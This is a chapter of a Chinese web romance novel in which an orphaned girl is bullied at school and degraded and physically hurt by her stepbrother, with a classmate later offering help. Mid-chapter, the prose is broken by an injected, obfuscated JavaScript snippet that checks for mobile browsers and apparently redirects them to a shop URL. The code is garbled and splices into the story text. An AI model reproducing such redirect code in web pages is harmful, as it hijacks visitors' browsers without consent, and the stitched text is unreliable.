澜山境 > 都市言情 > 犬系陷阱 > 9.chapter9
    阳光漫过栏杆,温斯野逆光而立,身形挺拔如松,眼眸深邃似寒潭微漾,眼底却凝着化不开的冰霜。

    他居高临下地睨着眼前眼尾泛红的少女,那声“哥”和眼前的惨状,像两根针,扎进他心底。

    他恨她,更恨自己此刻竟还会为此动容。

    这股剧烈的撕扯感,让他瞬间,筑起更高更冷的心墙。

    他的嗓音里淬着冰冷的厌倦:“知道你现在特别像什么吗?”

    她微微颤抖着望向他,此刻的处境更为狼狈,凌乱的长发更添几分凄楚,将她的无助与惨状衬托到了极致。

    可他依旧不为所动,眼底的恨意清晰可见。

    “像一条无家可归的野狗。”

    他的声音平静得可怕,字字如刀,不见血却伤人至深。

    温棠音仰头望着下颌线条凌厉的少年,一滴泪珠悬在纤长的睫毛上,倔强地不肯落下。

    门外那些刺耳的咒骂声仍在继续,女生们肆无忌惮,言语愈发不堪入耳。

    “贱人,又妄想攀上高二学长的高枝。”

    “年纪轻轻就以色侍人,说出去都是龙一的笑话。”

    少女听着那些污言秽语,面色苍白得仿佛随时会被风吹散。

    她急忙微微起身,纤指轻轻拽住温斯野的衣角:“别听那些话......让我待在这里,就待一会儿。”

    她知道自己此刻的模样狼狈不堪,却只能卑微地乞求他,为她留下一方喘息之地。

    温斯野突然掐住她的下巴,迫使她抬起头来:“眼泪对我没有用,温棠音,想哭就出去哭。”

    他攥住她的手腕,作势要将她推往门外。

    他的力道很大,几乎要将她的腕骨捏碎。

    少女破碎的尾音哽咽在喉间,她反手紧紧握住他的手:“不要,求你......哥哥......”

    他嫌恶地一把将她甩开。

    视线扫过她破损的校服领口,他深吸一口气,唇边忽然泛起一丝冷笑:“我都说了,滚去你该呆的地方,就没这么多事儿。”

    “可我已经无处可去了。”

    那滴泪终于坠落,她的确已是走投无路。

    林蓉在世时,她尚有一个不能称之为家的容身之处。

    林蓉去世后,她寄居温家,每日却感受着寄人篱下的凄凉。

    面对恶语相向不得回击,面对虚情假意只能强颜欢笑,她无力反抗那些欺凌。

    就像面对他的冷漠与厌恶、挑衅与戏谑时,她也只能如同一只任人宰割的羔羊。

    温斯野见她又在落泪,气极反笑:“那是要赖在温家不成?”

    “不......高考完我就会离开,我会去别的城市,只是现在,让我待在这里。”

    只要此刻能有一方净土,不被欺凌嘲笑,她就能获得喘息之机,直到高考结束,她自会选择离开温家。

    温斯野挑了挑眉,神情冷酷得令人心悸:”哦?你打算做一条摇尾乞怜的狗,天天可怜巴巴地寻求庇佑?”

    被他冰冷的话语刺得泪水直流,她开口,声音虚弱无力:“我不是狗......我只是没有其他去处......”

    温斯野挑了挑眉,缓缓蹲下身,视线与温棠音平齐:“如果我说,天台容不下你呢?”

    他扬了扬手中的试卷,那一沓纸上满是他的批注。

    少女心下了然,他作为高二年级实验班的班长,事务繁忙,又因做事认真,喜好清净,最厌他人打扰。

    她望向四周,天台上空旷寂静,似乎再无他人。

    “只是......待到她们离开为止。”

    他忽然低笑出声,骨节分明的手掌悬在半空。

    少女颤抖着闭上眼,他却只是给予轻柔的触碰,指尖拂过她眼底的泪痕,如同抚过振翅的蝶。

    他的话语却淬着剧毒:“你哭起来的样子,和那个妄想骗婚的贱人很像。”

    温棠音的眼眶愈发泛红,泪水在眼眶中打转,却倔强地不肯流下。

    是林蓉吗,我怎么会像她......

    心底有个声音在呐喊,可他早已认定她是林蓉的延续,认定她身上流淌着最邪恶肮脏的血液。

    她似乎已经无路可退,无论走向何方,都没有人愿意施以援手,甚至连一丝微小的共情都吝于给予。

    她哽咽着,望向他疏离而戏谑的容颜。

    他突然拽住她的手腕,盯着她腕间那道渐渐淡去的红痕,唇边凝着冷笑:“上次和我说腰疼,现在还疼吗?”

    “好多了。”她啜泣着,小声嗫嚅。

    温斯野凝视着她梨花带雨的模样,五指收拢,几乎要将她的手腕捏碎。

    他一字一句,声音低沉而危险:“疼了才能好得更快。”

    剧烈的疼痛,让她倒抽一口凉气。

    片刻后,天台另一侧的废弃书桌忽然传来一阵杂音,有脚步声随风潜入。

    同样高挑清瘦的少年,闯入这片剑拔弩张的区域,他尚未注意到门边的温棠音,只盯着手中的试卷笑道:“阿野,这题我费了九牛二虎之力才解出来,你要不帮我看看答案......”

    他的声音戛然而止,目光扫过泫然欲泣的少女,和面色阴沉的好友。

    当看清少女的面容时,他不由得怔了怔。

    “咦,你是温家那个......”男生注意到温斯野紧握着少女的手,以及温棠音泛红的眼尾。

    “是无关紧要的人。”

    温斯野倏地起身,向后退了两步,眼底的冷笑化作疏离的厌恶,转身将空易拉罐一脚踢开。

    而少女,在听到这句话时,眼神彻底黯淡下去。

    韩以年被这尴尬的气氛所染,立即转移话题:“听说高一年级在进行篮球比赛,我还挺有兴趣的,下去看看。”

    他快步走向门边,少女却轻呼一声:“别开门。”

    韩以年疑惑地望向她,捕捉到她眼中的恐惧。

    瞬间明白过来,他将耳朵贴近门扉。

    果然,门外传来女生们不绝于耳的咒骂。

    “都几点了,那个贱人还不出来。”

    “她最不要脸了,估计现在和高二学长打得火热呢。”

    “说她骚她不承认,事实就是这样咯。”

    韩以年向后退了两步,看着身边蹲在地上,小声抽泣的少女,又望向不远处,懒散倚着天台边沿、浑身散发着生人勿近气息的好友。

    他对温棠音叹了口气:“不好意思,尿急。”

    说完,他伸手握住门把,瞬间将大门开启。

    门外几个女生突然看见窜出一个高瘦男生,吓了一跳。

    定睛一看,认出是高二年级同样声名在外的学长韩以年。

    想到韩以年和温斯野的交情,她们立即堆起谄媚的笑容。

    “学长,你也在这里啊。”

    韩以年的表情如沐春风:“嗯,你们在这边干什么呢?”

    他挑了挑眉,女生们露出怯怯的神情。

    其中一个女生小心翼翼地问道:“我们来找一个同学,她是个新生,似乎不小心闯进天台了,不知学长有没有看到她呀?”

    “没有。”韩以年轻轻一笑,缓缓将天台的门合拢。

    女生一副将信将疑的表情,试图从门缝中窥探,可韩以年早已先她一步将大门紧闭:“天台上只有我和阿野,你们要进来?”

    “不不,我们不打扰了......”少女一个眼神,迅速带着其他女生往楼下跑去。

    韩以年轻叹一声,转头望向身后紧闭的铁门。

    他与温斯野是多年挚友,知晓温家近来多了一位同姓的妹妹。

    但温斯野对她的态度极其冷漠厌倦,其中的缘由,韩以年也略知一二。

    天台上,温斯野闭着眼把玩着手中的钥匙:“她们走了,你也该滚了。”

    温棠音低头,抹去脸上的泪痕,沉默地转身离去。

    没有人在意她的心情,也没有人在意她的想法,没有安慰,有的只是疏离、冷漠与厌恶。

    温棠音几乎是一路小跑着回到教室。

    彼时,潘晏早已被体育委员王洋催促着下楼观看篮球比赛了。

    教室里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16704658|188275||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    只剩下温棠音一人,她怀中还抱着那沓被污损的讲义,上面是同学们刚交来的笔迹,此刻却变得如此肮脏破败。

    若是被大家看到眼前的景象,会用什么眼光看待她这个负责收作业的人?

    温棠音轻轻闭了闭眼,试图让纷乱的心绪平静下来。

    这时,门口传来一阵脚步声,有人推门而入。

    对方看见温棠音独自坐在座位上,正翻动着那些布满污渍、甚至带着脚印的讲义,便快步走了过来。

    “棠音,你还好吗?”

    温棠音抬起头,发现是班长许欣瑶。

    许欣瑶的目光落在那沓讲义上,看见温棠音修长白皙的手指在脏污的纸页间翻动,不由得怔了怔。

    “这些是语文讲义,不知怎么……听说是在垃圾桶里被找到的。”

    温棠音低声解释,语气带着几分为难。

    “棠音,不必再替某些人遮掩了。掉进垃圾桶?我看是被人故意扔进去的吧。”

    许欣瑶一针见血地说道。

    温棠音没想到许欣瑶会如此直截了当。

    “我猜,是郭晗他们做的。他们最近明显在针对你。这次郭晗不交语文作业,估计也是故意的。现在胆子越来越大,居然敢把全班的讲义都扔进垃圾桶,让我找找我的那一份。”

    许欣瑶俯身,靠近温棠音的课桌。

    温棠音连忙在讲义中翻找,终于抽出了写着许欣瑶名字的那一份。

    纸张早已被食物残渣和不明污渍覆盖,原本整洁的卷面,变得面目全非。

    许欣瑶轻轻摇头,语气冷静而犀利:“真是过分。他们是不是觉得我这个班长,太好说话,太窝囊了?”

    “班长,对不起,都是我不好……”

    许欣瑶眼神柔和下来,摇了摇头:“这怎么能怪你?明明是他们的错。我这就去告诉老师。”

    “不用。”温棠音轻轻拉住许欣瑶的手腕,“让我自己去和老师说吧。这件事,我想亲自处理。”

    “真的吗?”许欣瑶有些意外,看着温棠音委屈却坚定的神情,语气关切。

    “你确定要自己去说?交给我也没关系的。我只是担心如果老师处理得不够及时……”

    温棠音却坚定地摇了摇头,内心的勇气支撑着她的选择:“没关系,我可以的。”

    “好。”

    许欣瑶点点头,认真地说:“那如果你需要任何帮助,一定要告诉我,我会全力支持你。”

    “谢谢你。”

    望着许欣瑶真诚的目光,温棠音觉得心底,仿佛从黑暗中生出了一缕微光。

    潘晏、许欣瑶,还有傅亦和,都是这个班级里,难能可贵的人。

    傍晚放学后,温棠音一边往家走,一边在微信里给萧琪老师编辑信息:

    “萧老师,您好。今天在班上发生了一件让我很困惑的事。我明明已经把语文作业整理好,却不知为何出现在垃圾桶里……”

    “是郭晗同学从垃圾桶里捡出来交给我的。我想澄清,这些作业绝不是我扔掉的。”

    “另外,最近班上有几位同学似乎对我有些针对,我不知该如何应对才好。老师,您能给我一些建议吗?”

    写完这段话,她仔细检查了一遍措辞,轻轻按下发送键。

    手机暂时没有回应。

    她将手机放回口袋,继续向前走去。

    然而,就在她走到小区门口时,口袋里的手机连续震动起来。

    她掏出一看,屏幕上是萧琪老师的回复。

    但紧接着,另一条消息顶了上来,发信人赫然是——【陶露影】。

    萧琪老师:「棠音,具体情况我已了解。明天你来办公室,我们详细谈谈。」

    陶露影:「听说,你去找老师告状了?」

    陶露影:「(图片消息)」

    陶露影:「明天来学校,我们好好聊聊。」

    温棠音点开那张预览图,瞳孔骤然收缩——那是她刚才在天台上,被温斯野掐住下巴时,眼眶通红、狼狈不堪的照片。

    她们当时,竟然拍了照?!